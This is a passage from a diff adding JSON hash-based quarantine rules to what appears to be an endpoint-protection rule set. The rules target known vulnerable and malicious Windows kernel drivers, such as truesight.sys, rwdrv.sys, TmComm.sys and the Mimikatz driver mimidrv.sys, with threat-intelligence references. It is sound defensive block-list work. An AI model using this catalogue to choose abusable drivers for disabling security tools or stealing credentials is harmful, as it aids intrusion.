+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a98d4993-24ff-54f7-925f-3bcac49eb1d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144559Z",
+  "creation_date": "2026-03-23T11:45:32.144561Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144567Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "312c83a99928c30c1fc55a0a1e7571a63b0e04391abe3392115bb3b7e3f60f47",
+  "comment": "Malicious Kernel Driver (aka driver_312c83a9.sys) [https://www.loldrivers.io/drivers/495f0f36-c5e0-467d-8115-b5bdbe7ff686/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a98ff7cc-2848-53ef-a38a-618805b4667a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814467Z",
+  "creation_date": "2026-03-23T11:45:31.814470Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814478Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "afdc52dfd0928505e0246158978dff460e0697cc2b387c5bb52b0fe328a1d170",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a9937cb7-ca64-5f66-a804-94bd07670358",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826843Z",
+  "creation_date": "2026-03-23T11:45:30.826846Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826854Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8d3c53ae698e17f331383a93990e2468c1bfd6a36a4830ffa9582ceb60d824dd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a9a94c6b-ee1b-5f9f-bf37-ea258378241f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826169Z",
+  "creation_date": "2026-03-23T11:45:30.826171Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826177Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ae74282bb4343f3e9c15462b67afff3f737de22f8d238751aff767c5d750959",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a9aac860-6f84-56b0-a872-d906d159fa3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481043Z",
+  "creation_date": "2026-03-23T11:45:30.481045Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481050Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2695390a8a7448390fe383beb1eee06d582202683f0273d6e72ef39a8cf709e1",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a9b60390-67d3-5be2-814a-16376b529e3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982086Z",
+  "creation_date": "2026-03-23T11:45:29.982088Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982094Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2bf29a2df52110ed463d51376562afceac0e80fbb1033284cf50edd86c406b14",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/b03798af-d25a-400b-9236-4643a802846f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a9e1278d-db32-5f25-8987-ebad5525027b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836577Z",
+  "creation_date": "2026-03-23T11:45:30.836579Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836584Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eafc2ce205bbdd326250823d82060acc957a1bc13b7af76939409db6e43210c5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a9e31460-4b9b-5f36-b53c-33467990d52d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152134Z",
+  "creation_date": "2026-03-23T11:45:31.152137Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152145Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac1a83279e35ee1e9537886adc1c5b5b3d4976a80ed52febf6ca416a5dde6055",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a9e6cf8a-3898-552f-ab94-a0da0ba58c15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147112Z",
+  "creation_date": "2026-03-23T11:45:31.147114Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147119Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ec6bd4ea58f2a1eb2aa827f40c145c0271a36a7400309b83ce7598d4a0dd765",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a9f22e57-d81d-59d6-8fc9-e7440cbab55c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455361Z",
+  "creation_date": "2026-03-23T11:45:30.455364Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455373Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62a17c9ec21461badecd1c25744a42bf5c9c0ed39b979fb07ca817f30c862a35",
+  "comment": "Vulnerable Kernel Driver (aka VBoxUSB.Sys) [https://www.loldrivers.io/drivers/70fa8606-c147-4c40-8b7a-980290075327/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a9fd75bf-b113-5e5e-b35c-5f66f7e2c301",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831200Z",
+  "creation_date": "2026-03-23T11:45:30.831202Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831208Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f523e46679c9b40f5bf4831e3cb60d90bd27b1acd3b4b7a12e1fc9ae06fdb5ed",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa077870-661f-577c-b335-fcf15ece173c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973793Z",
+  "creation_date": "2026-03-23T11:45:29.973795Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973800Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "80a59ca71fc20961ccafc0686051e86ae4afbbd4578cb26ad4570b9207651085",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa0b4dbb-d53c-56c0-92e9-d7eb56fc4092",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823070Z",
+  "creation_date": "2026-03-23T11:45:30.823072Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823078Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "039f442ffbda7decaaf1e367db6fc6f28cc73d549527ef5bedf2be8badedbfd7",
+  "comment": "Vulnerable Kernel Driver (aka FH-EtherCAT_DIO.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa10c950-dc1e-5287-8cc5-417bbb892544",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981926Z",
+  "creation_date": "2026-03-23T11:45:29.981929Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981934Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f05f74ebae7e65d389703d423445ffb269e657d8278b0523417e1f72b0228eb",
+  "comment": "Vulnerable Kernel Driver (aka TGSafe.sys) [https://www.loldrivers.io/drivers/ad693146-4adf-4407-bb20-f2505e34c226/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa11682b-5e88-56a8-8d73-94eb6b434619",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470162Z",
+  "creation_date": "2026-03-23T11:45:30.470165Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470174Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea318c5300b57b35e07b4c16453a660cd5ce059cdb6578d3057e848e14d68eac",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa12f38e-232c-5b95-abbd-37d419dcab44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493400Z",
+  "creation_date": "2026-03-23T11:45:31.493402Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493408Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7198c9e16ef10a701abbae9422755d904e730893724988b3f63226ad499de02",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa3bb407-fea5-5f50-8ed7-027961654c59",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821890Z",
+  "creation_date": "2026-03-23T11:45:31.821892Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821898Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a87f78a357f9eccc2aa6a04ff5b70d6044d3c6b0ba436d0c4199f3e57272c32",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa3eb61c-c864-5911-b77b-3645b42e5207",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815850Z",
+  "creation_date": "2026-03-23T11:45:31.815852Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815857Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e4cf5d2df79e2f561c228b3cbbdb6e1c5b0eff9e62144b4a97d5d128669de80",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa42c9d7-a497-5ac7-8478-e0e5a2057f15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146818Z",
+  "creation_date": "2026-03-23T11:45:32.146821Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146826Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e7c62daf3da6ea70530adc9a65bd97dcdb4afe0b82e7622f6d965bdaa99025b",
+  "comment": "Vulnerable Kernel Driver (aka CSAgent.sys) [https://www.loldrivers.io/drivers/9974b134-7fee-4c7a-9b0d-38b3b2d7e957/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa48bdd3-1493-52b5-9721-fd29a6097523",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475666Z",
+  "creation_date": "2026-03-23T11:45:31.475670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475680Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "433fc3f44a990949b876015da853a4ff4e7a7c6d0a62eeadf795489b4e15843b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa5714ae-a23b-5f7e-8b6b-279b465d2315",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818486Z",
+  "creation_date": "2026-03-23T11:45:30.818488Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818494Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8b51ab681714e491ab1a59a7c9419db39db04b0dd7be11293f3a0951afe740e",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa6058e1-bd62-5153-b892-73498bae1706",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478272Z",
+  "creation_date": "2026-03-23T11:45:31.478287Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478319Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38e52e61ea71ac13f8f12e6aef2ac4d9e580e1d8b25dbb405e005599a4a4b13d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aa611048-97d3-50f9-98ba-18930e5a85ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
